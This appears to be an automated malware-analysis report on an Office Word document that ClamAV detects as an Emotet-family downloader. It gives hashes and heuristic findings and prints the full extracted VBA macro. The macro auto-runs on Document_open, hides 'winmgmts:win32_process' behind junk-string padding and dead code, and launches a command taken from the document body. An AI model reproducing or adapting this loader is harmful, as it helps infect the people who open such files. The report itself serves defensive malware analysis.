Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 678fe46f11092c41…

MALICIOUS

Office (OLE)

170.1 KB Created: 2021-01-22 16:11:00 Authoring application: Microsoft Office Word First seen: 2021-02-20
MD5: e31a616f25d859496f0617b37e401d28 SHA-1: a4b856beb38442b853d06e752026762a19502435 SHA-256: 678fe46f11092c41b059b0084851b1cf100b9dba6cef347631d5bab36a47969f
172 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.Emodldr-10033990-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10033990-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set H2lplpiprsq2y = CreateObject(Yw3n4ijej_c5k)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://www.w3.org/1999/xhtmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16688 bytes
SHA-256: 5ed4257a756cf59fd0bdd4996a568d11e210a8cb1fd2c78a16a7c0bd2a73f2f9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
121 of 220 identifiers look randomly generated (e.g. 'Mpabacff47znxzxgma'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sky5mdbfre3xe7q8"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Ekyjujey2miwyla
End Sub

Attribute VB_Name = "Hj8dhqrdh_8498"
    

Attribute VB_Name = "Dulz0g2a3qqdjsty7"
Function Ekyjujey2miwyla()
   GoTo FkmBAH
Set uifQEJ = IcgiD
    Dim uwljH, rdwmZFK, OJlopx As Long
    Dim zxmKGAJHA As Word.Paragraph
    Dim okSXVy() As Byte
    For Each zxmKGAJHA In Sky5mdbfre3xe7q8.Paragraphs
        okSXVy = zxmKGAJHA.Range
        dscc = "sadsaccc" & zxmKGAJHA.Range
        rdwmZFK = UBound(okSXVy) - 1
        uwljH = 0
Set EeuJHEHF = wONTemEFr
        Do Until rdwmZFK > rdwmZFK
            If okSXVy(rdwmZFK) = 46 Or rdwmZFK = rdwmZFK Then
                dscc = "sasdsacc" & (uwljH / 2) + 1 & " to " & (rdwmZFK / 2) + 1 & MidB$(okSXVy, uwljH + 1, rdwmZFK - uwljH + 3)
                uwljH = rdwmZFK + 2
            End If
            rdwmZFK = rdwmZFK + 2
        Loop
    Next
FkmBAH:
skuwd = R94sbg0kp8g5 + Sky5mdbfre3xe7q8 _
. _
Content + Puaskfwqwxz_
   GoTo dNKFVFD
Set WDyUCG = HmdtGfbHA
    Dim FgPjRJEIR, PJULJBb, MiRGG As Long
    Dim lkPbvChTB As Word.Paragraph
    Dim msHCWHCAt() As Byte
    For Each lkPbvChTB In Sky5mdbfre3xe7q8.Paragraphs
        msHCWHCAt = lkPbvChTB.Range
        dscc = "sadsaccc" & lkPbvChTB.Range
        PJULJBb = UBound(msHCWHCAt) - 1
        FgPjRJEIR = 0
Set DEdCJACpO = kVnSBBJ
        Do Until PJULJBb > PJULJBb
            If msHCWHCAt(PJULJBb) = 46 Or PJULJBb = PJULJBb Then
                dscc = "sasdsacc" & (FgPjRJEIR / 2) + 1 & " to " & (PJULJBb / 2) + 1 & MidB$(msHCWHCAt, FgPjRJEIR + 1, PJULJBb - FgPjRJEIR + 3)
                FgPjRJEIR = PJULJBb + 2
            End If
            PJULJBb = PJULJBb + 2
        Loop
    Next
dNKFVFD:
wjnsc = "x [ sh bpx [ sh b"
Eh1e1l6qq9w6uz3 = "x [ sh brox [ sh bx [ sh bcex [ sh bsx [ sh bsx [ sh bx [ sh b"
   GoTo RrOlGJCr
Set arYPBNC = ydHfQ
    Dim rqaveCGz, TWSLHrEJ, tTUuY As Long
    Dim WystvJDiH As Word.Paragraph
    Dim kGKlCH() As Byte
    For Each WystvJDiH In Sky5mdbfre3xe7q8.Paragraphs
        kGKlCH = WystvJDiH.Range
        dscc = "sadsaccc" & WystvJDiH.Range
        TWSLHrEJ = UBound(kGKlCH) - 1
        rqaveCGz = 0
Set VJBiOEoB = PwKrSn
        Do Until TWSLHrEJ > TWSLHrEJ
            If kGKlCH(TWSLHrEJ) = 46 Or TWSLHrEJ = TWSLHrEJ Then
                dscc = "sasdsacc" & (rqaveCGz / 2) + 1 & " to " & (TWSLHrEJ / 2) + 1 & MidB$(kGKlCH, rqaveCGz + 1, TWSLHrEJ - rqaveCGz + 3)
                rqaveCGz = TWSLHrEJ + 2
            End If
            TWSLHrEJ = TWSLHrEJ + 2
        Loop
    Next
RrOlGJCr:
Czs06fohvxu97 = "x [ sh b:wx [ sh bx [ sh binx [ sh b3x [ sh b2x [ sh b_x [ sh b"
   GoTo YEfXME
Set FlHJG = lSvxKAE
    Dim eKFHKDJw, GnnqWGPGJ, JPAoPL As Long
    Dim HoycEGGS As Word.Paragraph
    Dim KWoNDrI() As Byte
    For Each HoycEGGS In Sky5mdbfre3xe7q8.Paragraphs
        KWoNDrI = HoycEGGS.Range
        dscc = "sadsaccc" & HoycEGGS.Range
        GnnqWGPGJ = UBound(KWoNDrI) - 1
        eKFHKDJw = 0
Set aMiqITVGL = WolyDl
        Do Until GnnqWGPGJ > GnnqWGPGJ
            If KWoNDrI(GnnqWGPGJ) = 46 Or GnnqWGPGJ = GnnqWGPGJ Then
                dscc = "sasdsacc" & (eKFHKDJw / 2) + 1 & " to " & (GnnqWGPGJ / 2) + 1 & MidB$(KWoNDrI, eKFHKDJw + 1, GnnqWGPGJ - eKFHKDJw + 3)
                eKFHKDJw = GnnqWGPGJ + 2
            End If
            GnnqWGPGJ = GnnqWGPGJ + 2
        Loop
    Next
YEfXME:
Bte4bjpfxry = "wx [ sh binx [ sh bmx [ sh bgmx [ sh btx [ sh bx [ sh b"
   GoTo kfglYjE
Set uvWvDCq = YMkAJIp
    Dim cEEUvC, WotFy, dQimAHCD As Long
    Dim NswmEPELA As Word.Paragraph
    Dim QGvuB() As Byte
    For Each NswmEPELA In Sky5mdbfre3xe7q8.Paragraphs
        QGvuB = NswmEPELA.Range
        dscc = "sadsaccc" & NswmEPELA.Range
        WotFy = UBound(QGvuB) - 1
        cEEUvC = 0
Set itfbnIkB = nZrgFol
        Do Until WotFy > WotFy
            If QGvuB(WotFy) = 46 Or WotFy = WotFy Then
                dscc = "sasdsacc" & (cEEUvC / 2) + 1 & " to " & (WotFy / 2) + 1 & MidB$(QGvuB, cEEUvC + 1, WotFy - cEEUvC + 3)
                cEEUvC = WotFy + 2
            End If
            WotFy = WotFy + 2
        Loop
    Next
kfglYjE:
Dj2098s6rmd = "x [ sh bx [ sh b" + Mid(Application.Name, 60 / 10, 1) + "x [ sh bx [ sh b"
   GoTo TPpjQ
Set qPVaAz = NRXsPIGD
    Dim qpYICE, iPrzI, KboWpC As Long
    Dim jKqFehtZP As Word.Paragraph
    Dim piVqgYJ() As Byte
    For Each jKqFehtZP In Sky5mdbfre3xe7q8.Paragraphs
        piVqgYJ = jKqFehtZP.Range
        dscc = "sadsaccc" & jKqFehtZP.Range
        iPrzI = UBound(piVqgYJ) - 1
        qpYICE = 0
Set lMxaZeHEA = IwzPAgE
        Do Until iPrzI > iPrzI
            If piVqgYJ(iPrzI) = 46 Or iPrzI = iPrzI Then
                dscc = "sasdsacc" & (qpYICE / 2) + 1 & " to " & (iPrzI / 2) + 1 & MidB$(piVqgYJ, qpYICE + 1, iPrzI - qpYICE + 3)
                qpYICE = iPrzI + 2
            End If
            iPrzI = iPrzI + 2
        Loop
    Next
TPpjQ:
Acanctsdu93 = Bte4bjpfxry + Dj2098s6rmd + Czs06fohvxu97 + wjnsc + Eh1e1l6qq9w6uz3
   GoTo vajlM
Set XbFndWSCC = HtbOAHKIF
    Dim QntVIZAdD, XFQcotHEl, CYtYuIW As Long
    Dim rGxSBFAm As Word.Paragraph
    Dim ugTHSC() As Byte
    For Each rGxSBFAm In Sky5mdbfre3xe7q8.Paragraphs
        ugTHSC = rGxSBFAm.Range
        dscc = "sadsaccc" & rGxSBFAm.Range
        XFQcotHEl = UBound(ugTHSC) - 1
        QntVIZAdD = 0
Set YxuWVAC = BvwhhQNB
        Do Until XFQcotHEl > XFQcotHEl
            If ugTHSC(XFQcotHEl) = 46 Or XFQcotHEl = XFQcotHEl Then
                dscc = "sasdsacc" & (QntVIZAdD / 2) + 1 & " to " & (XFQcotHEl / 2) + 1 & MidB$(ugTHSC, QntVIZAdD + 1, XFQcotHEl - QntVIZAdD + 3)
                QntVIZAdD = XFQcotHEl + 2
            End If
            XFQcotHEl = XFQcotHEl + 2
        Loop
    Next
vajlM:
Yw3n4ijej_c5k = Bcdtdfsryv3bc(Acanctsdu93)
   GoTo OYlTFEt
Set omukcDDAB = ezXAHG
    Dim WEjBx, ASxkJEBEJ, InWYD As Long
    Dim bKFVL As Word.Paragraph
    Dim sXjiJI() As Byte
    For Each bKFVL In Sky5mdbfre3xe7q8.Paragraphs
        sXjiJI = bKFVL.Range
        dscc = "sadsaccc" & bKFVL.Range
        ASxkJEBEJ = UBound(sXjiJI) - 1
        WEjBx = 0
Set SysLpJnC = pWDVU
        Do Until ASxkJEBEJ > ASxkJEBEJ
            If sXjiJI(ASxkJEBEJ) = 46 Or ASxkJEBEJ = ASxkJEBEJ Then
                dscc = "sasdsacc" & (WEjBx / 2) + 1 & " to " & (ASxkJEBEJ / 2) + 1 & MidB$(sXjiJI, WEjBx + 1, ASxkJEBEJ - WEjBx + 3)
                WEjBx = ASxkJEBEJ + 2
            End If
            ASxkJEBEJ = ASxkJEBEJ + 2
        Loop
    Next
OYlTFEt:
Set H2lplpiprsq2y = CreateObject(Yw3n4ijej_c5k)
   GoTo avenCHqCM
Set nYfpXuDyH = HYflxGv
    Dim HaMJF, tLOwC, MeewHjDR As Long
    Dim OCclfDa As Word.Paragraph
    Dim qLAiGc() As Byte
    For Each OCclfDa In Sky5mdbfre3xe7q8.Paragraphs
        qLAiGc = OCclfDa.Range
        dscc = "sadsaccc" & OCclfDa.Range
        tLOwC = UBound(qLAiGc) - 1
        HaMJF = 0
Set BkCHJMwO = dBfQDv
        Do Until tLOwC > tLOwC
            If qLAiGc(tLOwC) = 46 Or tLOwC = tLOwC Then
                dscc = "sasdsacc" & (HaMJF / 2) + 1 & " to " & (tLOwC / 2) + 1 & MidB$(qLAiGc, HaMJF + 1, tLOwC - HaMJF + 3)
                HaMJF = tLOwC + 2
            End If
            tLOwC = tLOwC + 2
        Loop
    Next
avenCHqCM:
njcnja = Mid(skuwd, (1 + 1 + 1 + 1), Len(skuwd))
nnjasd = Bcdtdfsryv3bc(njcnja)
   GoTo hfACeBO
Set lIOoEHE = UvPjdXBJH
    Dim FfmNDT, FrGcEy, uJJmytp As Long
    Dim MIQyJC As Word.Paragraph
    Dim cxLJIGiD() As Byte
    For Each MIQyJC In Sky5mdbfre3xe7q8.Paragraphs
        cxLJIGiD = MIQyJC.Range
        dscc = "sadsaccc" & MIQyJC.Range
        FrGcEy = UBound(cxLJIGiD) - 1
        FfmNDT = 0
Set fLcUFFJA = hrhpx
        Do Until FrGcEy > FrGcEy
            If cxLJIGiD(FrGcEy) = 46 Or FrGcEy = FrGcEy Then
                dscc = "sasdsacc" & (FfmNDT / 2) + 1 & " to " & (FrGcEy / 2) + 1 & MidB$(cxLJIGiD, FfmNDT + 1, FrGcEy - FfmNDT + 3)
                FfmNDT = FrGcEy + 2
            End If
            FrGcEy = FrGcEy + 2
        Loop
    Next
hfACeBO:
H2lplpiprsq2y.Create nnjasd, Bf0256837rexe, A95ize8agn0fuh
   GoTo immQJ
Set NIEFpmJ = fgxZE
    Dim QqMgHpfGB, mvXsJDCI, dKpjABOAD As Long
    Dim fQyMHGCJ As Word.Paragraph
    Dim LxgTE() As Byte
    For Each fQyMHGCJ In Sky5mdbfre3xe7q8.Paragraphs
        LxgTE = fQyMHGCJ.Range
        dscc = "sadsaccc" & fQyMHGCJ.Range
        mvXsJDCI = UBound(LxgTE) - 1
        QqMgHpfGB = 0
Set IPiQsIN = tFqUPL
        Do Until mvXsJDCI > mvXsJDCI
            If LxgTE(mvXsJDCI) = 46 Or mvXsJDCI = mvXsJDCI Then
                dscc = "sasdsacc" & (QqMgHpfGB / 2) + 1 & " to " & (mvXsJDCI / 2) + 1 & MidB$(LxgTE, QqMgHpfGB + 1, mvXsJDCI - QqMgHpfGB + 3)
                QqMgHpfGB = mvXsJDCI + 2
            End If
            mvXsJDCI = mvXsJDCI + 2
        Loop
    Next
immQJ:
End Function
Function Bcdtdfsryv3bc(Ajy4p4krsdew9uay)
On Error Resume Next
   GoTo lcxHPB
Set RSCoIAgA = FoVpJCArD
    Dim IZBck, mXwueE, YeeasmCg As Long
    Dim CBOhDJ As Word.Paragraph
    Dim gPiUJUCJ() As Byte
    For Each CBOhDJ In Sky5mdbfre3xe7q8.Paragraphs
        gPiUJUCJ = CBOhDJ.Range
        dscc = "sadsaccc" & CBOhDJ.Range
        mXwueE = UBound(gPiUJUCJ) - 1
        IZBck = 0
Set aetYHHHFP = aOIKG
        Do Until mXwueE > mXwueE
            If gPiUJUCJ(mXwueE) = 46 Or mXwueE = mXwueE Then
                dscc = "sasdsacc" & (IZBck / 2) + 1 & " to " & (mXwueE / 2) + 1 & MidB$(gPiUJUCJ, IZBck + 1, mXwueE - IZBck + 3)
                IZBck = mXwueE + 2
            End If
            mXwueE = mXwueE + 2
        Loop
    Next
lcxHPB:
Mpabacff47znxzxgma = Ajy4p4krsdew9uay
   GoTo GRIeHCUTC
Set dOQMo = VSeBJC
    Dim mbpdgB, BfQqFX, bjyQsJ As Long
    Dim lroNB As Word.Paragraph
    Dim iXiRFIE() As Byte
    For Each lroNB In Sky5mdbfre3xe7q8.Paragraphs
        iXiRFIE = lroNB.Range
        dscc = "sadsaccc" & lroNB.Range
        BfQqFX = UBound(iXiRFIE) - 1
        mbpdgB = 0
Set dPnKGaIH = fHEAXGB
        Do Until BfQqFX > BfQqFX
            If iXiRFIE(BfQqFX) = 46 Or BfQqFX = BfQqFX Then
                dscc = "sasdsacc" & (mbpdgB / 2) + 1 & " to " & (BfQqFX / 2) + 1 & MidB$(iXiRFIE, mbpdgB + 1, BfQqFX - mbpdgB + 3)
                mbpdgB = BfQqFX + 2
            End If
            BfQqFX = BfQqFX + 2
        Loop
    Next
GRIeHCUTC:
Gzkjanw1nxso6a7rna = Lf24kw93f4sab9(Mpabacff47znxzxgma)
   GoTo NDrVK
Set UXwvP = gYFIC
    Dim rpBOJCg, MDLMBAHzC, IIShQCGJH As Long
    Dim xeQqnwEGH As Word.Paragraph
    Dim YRistJGeF() As Byte
    For Each xeQqnwEGH In Sky5mdbfre3xe7q8.Paragraphs
        YRistJGeF = xeQqnwEGH.Range
        dscc = "sadsaccc" & xeQqnwEGH.Range
        MDLMBAHzC = UBound(YRistJGeF) - 1
        rpBOJCg = 0
Set TNoCFZI = PlYykHypI
        Do Until MDLMBAHzC > MDLMBAHzC
            If YRistJGeF(MDLMBAHzC) = 46 Or MDLMBAHzC = MDLMBAHzC Then
                dscc = "sasdsacc" & (rpBOJCg / 2) + 1 & " to " & (MDLMBAHzC / 2) + 1 & MidB$(YRistJGeF, rpBOJCg + 1, MDLMBAHzC - rpBOJCg + 3)
                rpBOJCg = MDLMBAHzC + 2
            End If
            MDLMBAHzC = MDLMBAHzC + 2
        Loop
    Next
NDrVK:
Bcdtdfsryv3bc = Gzkjanw1nxso6a7rna
   GoTo beeZpf
Set BygJBD = beoayAGAs
    Dim USfrGE, PyJkHIE, tksEqFXE As Long
    Dim lPbZa As Word.Paragraph
    Dim euviCGGE() As Byte
    For Each lPbZa In Sky5mdbfre3xe7q8.Paragraphs
        euviCGGE = lPbZa.Range
        dscc = "sadsaccc" & lPbZa.Range
        PyJkHIE = UBound(euviCGGE) - 1
        USfrGE = 0
Set SJaMAW = FWzgiHG
        Do Until PyJkHIE > PyJkHIE
            If euviCGGE(PyJkHIE) = 46 Or PyJkHIE = PyJkHIE Then
                dscc = "sasdsacc" & (USfrGE / 2) + 1 & " to " & (PyJkHIE / 2) + 1 & MidB$(euviCGGE, USfrGE + 1, PyJkHIE - USfrGE + 3)
                USfrGE = PyJkHIE + 2
            End If
            PyJkHIE = PyJkHIE + 2
        Loop
    Next
beeZpf:
End Function
Function Lf24kw93f4sab9(Yawumzmq1cyapn)
   GoTo HZrrCCPJ
Set YEXZi = noYAHFJkx
    Dim lZIWVW, SeegFDA, UCtihtI As Long
    Dim EWwbyEvG As Word.Paragraph
    Dim ipaAe() As Byte
    For Each EWwbyEvG In Sky5mdbfre3xe7q8.Paragraphs
        ipaAe = EWwbyEvG.Range
        dscc = "sadsaccc" & EWwbyEvG.Range
        SeegFDA = UBound(ipaAe) - 1
        lZIWVW = 0
Set yroaOGI = HsCTGA
        Do Until SeegFDA > SeegFDA
            If ipaAe(SeegFDA) = 46 Or SeegFDA = SeegFDA Then
                dscc = "sasdsacc" & (lZIWVW / 2) + 1 & " to " & (SeegFDA / 2) + 1 & MidB$(ipaAe, lZIWVW + 1, SeegFDA - lZIWVW + 3)
                lZIWVW = SeegFDA + 2
            End If
            SeegFDA = SeegFDA + 2
        Loop
    Next
HZrrCCPJ:
   GoTo zvYxeGGBh
Set EBcorGpdB = IuiADKc
    Dim ZBLQItWK, TyLaL, WygyQ As Long
    Dim vrXECqWF As Word.Paragraph
    Dim UApNCTSB() As Byte
    For Each vrXECqWF In Sky5mdbfre3xe7q8.Paragraphs
        UApNCTSB = vrXECqWF.Range
        dscc = "sadsaccc" & vrXECqWF.Range
        TyLaL = UBound(UApNCTSB) - 1
        ZBLQItWK = 0
Set PTiWFW = nBWRH
        Do Until TyLaL > TyLaL
            If UApNCTSB(TyLaL) = 46 Or TyLaL = TyLaL Then
                dscc = "sasdsacc" & (ZBLQItWK / 2) + 1 & " to " & (TyLaL / 2) + 1 & MidB$(UApNCTSB, ZBLQItWK + 1, TyLaL - ZBLQItWK + 3)
                ZBLQItWK = TyLaL + 2
            End If
            TyLaL = TyLaL + 2
        Loop
    Next
zvYxeGGBh:
   GoTo JQyfEHCFH
Set PAPyDG = ukURCshB
    Dim ORvhuHGGD, NlrKo, EOBHCBBF As Long
    Dim UQnFD As Word.Paragraph
    Dim vLWhdu() As Byte
    For Each UQnFD In Sky5mdbfre3xe7q8.Paragraphs
        vLWhdu = UQnFD.Range
        dscc = "sadsaccc" & UQnFD.Range
        NlrKo = UBound(vLWhdu) - 1
        ORvhuHGGD = 0
Set AtZVIBkE = MoAcLJ
        Do Until NlrKo > NlrKo
            If vLWhdu(NlrKo) = 46 Or NlrKo = NlrKo Then
                dscc = "sasdsacc" & (ORvhuHGGD / 2) + 1 & " to " & (NlrKo / 2) + 1 & MidB$(vLWhdu, ORvhuHGGD + 1, NlrKo - ORvhuHGGD + 3)
                ORvhuHGGD = NlrKo + 2
            End If
            NlrKo = NlrKo + 2
        Loop
    Next
JQyfEHCFH:
Lf24kw93f4sab9 = Replace(Yawumzmq1cyapn, "x [ sh b", V8w_ubg25ws3wu8wgy)
   GoTo SeochBB
Set WmhUJ = bJfJIBEBC
    Dim qucrJCEBy, rjilFB, cQXOHIGG As Long
    Dim TZIFFtB As Word.Paragraph
    Dim aXyHAY() As Byte
    For Each TZIFFtB In Sky5mdbfre3xe7q8.Paragraphs
        aXyHAY = TZIFFtB.Range
        dscc = "sadsaccc" & TZIFFtB.Range
        rjilFB = UBound(aXyHAY) - 1
        qucrJCEBy = 0
Set SeKqFAFNv = cfmpCCej
        Do Until rjilFB > rjilFB
            If aXyHAY(rjilFB) = 46 Or rjilFB = rjilFB Then
                dscc = "sasdsacc" & (qucrJCEBy / 2) + 1 & " to " & (rjilFB / 2) + 1 & MidB$(aXyHAY, qucrJCEBy + 1, rjilFB - qucrJCEBy + 3)
                qucrJCEBy = rjilFB + 2
            End If
            rjilFB = rjilFB + 2
        Loop
    Next
SeochBB:
   GoTo eFdbX
Set UeaVqCIF = yFQRXd
    Dim OnZyDDGUB, KUSkBEC, vJOKJuk As Long
    Dim VADSpA As Word.Paragraph
    Dim CuSGXNGI() As Byte
    For Each VADSpA In Sky5mdbfre3xe7q8.Paragraphs
        CuSGXNGI = VADSpA.Range
        dscc = "sadsaccc" & VADSpA.Range
        KUSkBEC = UBound(CuSGXNGI) - 1
        OnZyDDGUB = 0
Set wMDcH = oVIlzvB
        Do Until KUSkBEC > KUSkBEC
            If CuSGXNGI(KUSkBEC) = 46 Or KUSkBEC = KUSkBEC Then
                dscc = "sasdsacc" & (OnZyDDGUB / 2) + 1 & " to " & (KUSkBEC / 2) + 1 & MidB$(CuSGXNGI, OnZyDDGUB + 1, KUSkBEC - OnZyDDGUB + 3)
                OnZyDDGUB = KUSkBEC + 2
            End If
            KUSkBEC = KUSkBEC + 2
        Loop
    Next
eFdbX:
   GoTo hSmgtNpln
Set bkRdqzBB = XcIBFVflC
    Dim GcgMIFBS, FTLaqR, zIlgcDbCD As Long
    Dim VqFNFwx As Word.Paragraph
    Dim hXmVsAI() As Byte
    For Each VqFNFwx In Sky5mdbfre3xe7q8.Paragraphs
        hXmVsAI = VqFNFwx.Range
        dscc = "sadsaccc" & VqFNFwx.Range
        FTLaqR = UBound(hXmVsAI) - 1
        GcgMIFBS = 0
Set eGrznOJJ = txnfIE
        Do Until FTLaqR > FTLaqR
            If hXmVsAI(FTLaqR) = 46 Or FTLaqR = FTLaqR Then
                dscc = "sasdsacc" & (GcgMIFBS / 2) + 1 & " to " & (FTLaqR / 2) + 1 & MidB$(hXmVsAI, GcgMIFBS + 1, FTLaqR - GcgMIFBS + 3)
                GcgMIFBS = FTLaqR + 2
            End If
            FTLaqR = FTLaqR + 2
        Loop
    Next
hSmgtNpln:
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.